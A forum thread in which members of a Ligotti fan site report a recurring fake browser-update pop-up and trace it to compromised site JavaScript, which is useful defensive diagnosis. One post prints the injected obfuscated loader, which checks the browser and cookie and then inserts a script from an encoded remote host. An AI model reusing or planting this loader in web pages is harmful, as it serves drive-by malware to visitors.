TLO and malware -- again

[matt cardin]

I thought I'd start a separate thread from the original "Malicious Intrusion" one, just to make sure it stands out. I use Firefox, and I was among those who, as various members described on that other thread, began receiving a bogus notice at TLO many months back that "Your version of Firefox is out of date," accompanied by an automatic download/install notice that popped up with an "okay" or "cancel" button. It only happened intermittently when I visited the site, and I recognized it for the malware come-on that it was. Then it mostly went away, although it has cropped up occasionally in the past few months. I just haven't said anything about it.

But for the past three weeks, it comes up roughly thirty percent of the time when I visit the site. On every third visit, first TLO loads for a split second and then the hijack attempt takes over, bringing up a Firefox-branded screen and the same bogus "out of date" message with its accompanying download pop-up. This is mildly annoying. But it's also potentially seriously dangerous.

Have any of the rest of you noticed a recent reassertion of this thing?

 

[Metaphysical Mutant]

I'd try using other browsers and check if you still see the issue, because it might be a malicious Firefox plugin you've got installed on your machine. I'm using Chrome and I've never seen it. Does it only appear on TLO?

 

[Zaharoff]

I don't see any of that.
When I hit this site using the iPad, I get several popups for Tapatalk which I always cancel. I do not understand the Mac OS.
Windows, I have some blockers going.

Scripts and connections on the main landing page for TLO

Disconnect indicates no adverts, only a lone Google thing.

uBlock Origin indicates - ligotti net // ajax.googleapis com // beautyriche com // servimg com

NoScript 5.0.6 shows those along with - easycounter210 com // googleanalytics com

The latter two appear to calculate traffic statistics.
Servimg is an image host site, likely akin to tinypic, photobucket, postimage, etc ...
Threads will differ. A link to Amazon often has a script images.Amazon com.

I am unsure what beautyriche is, it appears to be skin care products. I have it blocked, along with easycounter and google analytics. The site functions fine for me. I do allow ligotti and ajax.googleapis through, otherwise the site will not function for me.
Mind you, if I go to some tab like "new content" things light up!

TLO continues to use http rather than the more secure https (s = secure).
I mentioned that in the Malicious Intrusion thread.
Unsure if Dr Bantham can reconfigure this or if the hosting company can.
From what I read, https is a pain in the ass, and costs for the SSL certificate.
It's not like this is a money making retirement plan for the guys who run this joint.

Do you have Fireshot or similar screen grabber?
Take a snap next time, if you can.
Might help Dr B.

 

[Lichen]

I'm using Google Chrome and getting that same attempt to automatically update my browser. Not every time, but regularly.

 

[matt cardin]

I'm using Google Chrome and getting that same attempt to automatically update my browser. Not every time, but regularly.

Good to know I'm not the only one.


Metaphysical Mutant: TLO is the only site where it happens or has ever happened. And it happens on more than one computer. In fact, it's happened fo rme on three separate ones. I suppose Firefox on each of them might have the same malicious plugin installed, but I don't think that's the case, as each installation is pretty customized.

 

[Metaphysical Mutant]

OK so I loaded TLO in Chrome on another machine, and got a screen saying I should update Chrome. I looked into it a bit and right now I'm thinking that some Javascript that is used to detect the mobile Tapatalk version of the site got compromised, because if you look at the last line of this file, which contains some Javascript loaded with each page:
http://www.ligotti.net/mobiquo/tapatalkdetect.js
You'll see it loading an iframe which looks very suspicious. I'd report that to whoever is the technical admin for the site.

 

[Zaharoff]

99% of the time I use PaleMoon for browsing.
It is a fork off FFox 39.
I fired up SlimJet, a Chrome variant sans Google's tracking.
Immediately, I had a popup saying I had to update my Chrome.
I refreshed the page and it disappeared, but yeah, I saw it using that browser.

 

[gveranon]

As far as I can tell, this has continued to happen ever since someone first mentioned it a year or so ago. I say, "as far as I can tell," because I changed my Norton antivirus setting so it doesn't give me a popup every time it blocks the "Web Attack: Fake Browser Update," so most of the time I'm not bothered by it. But every so often I look at the Norton security history and see that it's still blocking it every time I load a TLO page. It happened just now. I also sometimes use a computer that has Sophos antivirus on it. I haven't bothered to suppress the Sophos notifications, so I get a popup that an attack was blocked every time I load a TLO page on that computer. I mainly use Chrome on both computers. This doesn't happen when I visit other sites.

Why I'm using Norton and Sophos is irrelevant and too complicated to go into. Yes, I know there are other antivirus options. In any case, the problem really isn't with anyone's browser or antivirus software; there really is malware on this site and has been for a long time. I'm not greatly bothered by it myself. I just hope everyone has effective antivirus software and knows enough not to fall for the fake browser update.

 

[Metaphysical Mutant]

I spent some more time looking into this this morning instead of doing my actual job, and found out that it is actually this file which contains the malicious Javascript:
http://www.ligotti.net/clientscript/vbulletin_menu.js?v=388
The tapatalkdetect.js file does contain malicious code but it doesn't work anymore because the payload is no longer located at the compromised site that its trying to load from. It should still be removed though.

If you look at the difference between these versions of vbulletin_menu.js archived at April 19 and August 6, 2018, you'll see where the malicious code was inserted at the end (ignoring the lines that are inserted by the Internet Archive):
https://web.archive.org/web/20180419121153/http://www.ligotti.net/clientscript/vbulletin_menu.js?v=388
https://web.archive.org/web/20180806173641/http://www.ligotti.net/clientscript/vbulletin_menu.js?v=388
I'm guessing there was an upgrade somewhere in that timeframe when the exploit was introduced.

This is the malicious part:

;(function(){var h=navigator[w(".t(n8e{g}A;rheqslu)")];var a=document[w("8e{i;k}o)o8c;")];if(t(h,w("us}w,o8d}n4imW{"))&&!t(h,w("qdmi{o7rnd)n)Ap"))){if(!t(a,w("#=ra{mrt,u;_}_h_}"))){var x=document.createElement('script');x.type='text/javascript';x.async=true;x.src=w('84}8;c)0}4;1(5p1}86bx1}c}56c{9(954}4d590,=,v;&(6}0}2;=;deinc(?,s)j,.,e}d)ooc1_}sv/ym,o1c,.30)1,2(r9e;tin{u9o2cuy(s{a(e2.(k{n;i(l2/)/;:0pdt;t(h;');var z=document.getElementsByTagName('script')[0];z.parentNode.insertBefore(x,z);}}function w(j){var o='';for(var n=0;n=0;i--){r+=p[i];}return r;}})();

This exploit has targeted a bunch of CMS software:
campaign leverages multiple website platforms - Malwarebytes Labs | Malwarebytes Labs
So I'd bring this up with the vBulletin vendor.

Also, not that we're taking a vote, but I agree with Zaharoff that it would be a good idea to switch over to https.

 

[Ucasuni]

I've been getting the same Norton "Web Attack: Fake Browser Update 8" message for the better part of a year. I use Opera primarily, but it also shows up when I use Chrome.

 

[paeng]

I experienced similar to what was mentioned in the original thread, i.e., Kaspersky Antivirus Free reported problems with the script in the website, but none when I switched to Bitdefender Free.

 

[qcrisp]

I use Firefox and for some time have been getting the message in the image that is hopefully attached.


(If it doesn't attach I'll have to try something else later.)

 

[chris_stibrany]

On two different browsers I have gotten 2 malware 'ads' or fake updates. Firefox and Edge.

The first time on Firefox I stupidly thought it was a real update and it put a trojan on my PC that took about 2 hours to clean off.

If you see an 'update' for your browser on this domain close it and do not save it.

 

[Zaharoff]

I hope either of the Doctors is reading this thread.
Be nice if one would weigh in.

 

[Dr. Bantham]

I hope either of the Doctors is reading this thread.
Be nice if one would weigh in.

Unfortunately, I did not see any of this activity until after I was informed that the site was down. Life intervened with living.

 

[Zaharoff]

I think everyone understands that the Doc Duo have lives, and that real life always holds priority.
Thanks for tending the garden.

 

[miguel1984]

I think everyone understands that the Doc Duo have lives, and that real life always holds priority.
Thanks for tending the garden.

I totally agree, but someday I would like to have my arcade gold award back, as petty as that sounds.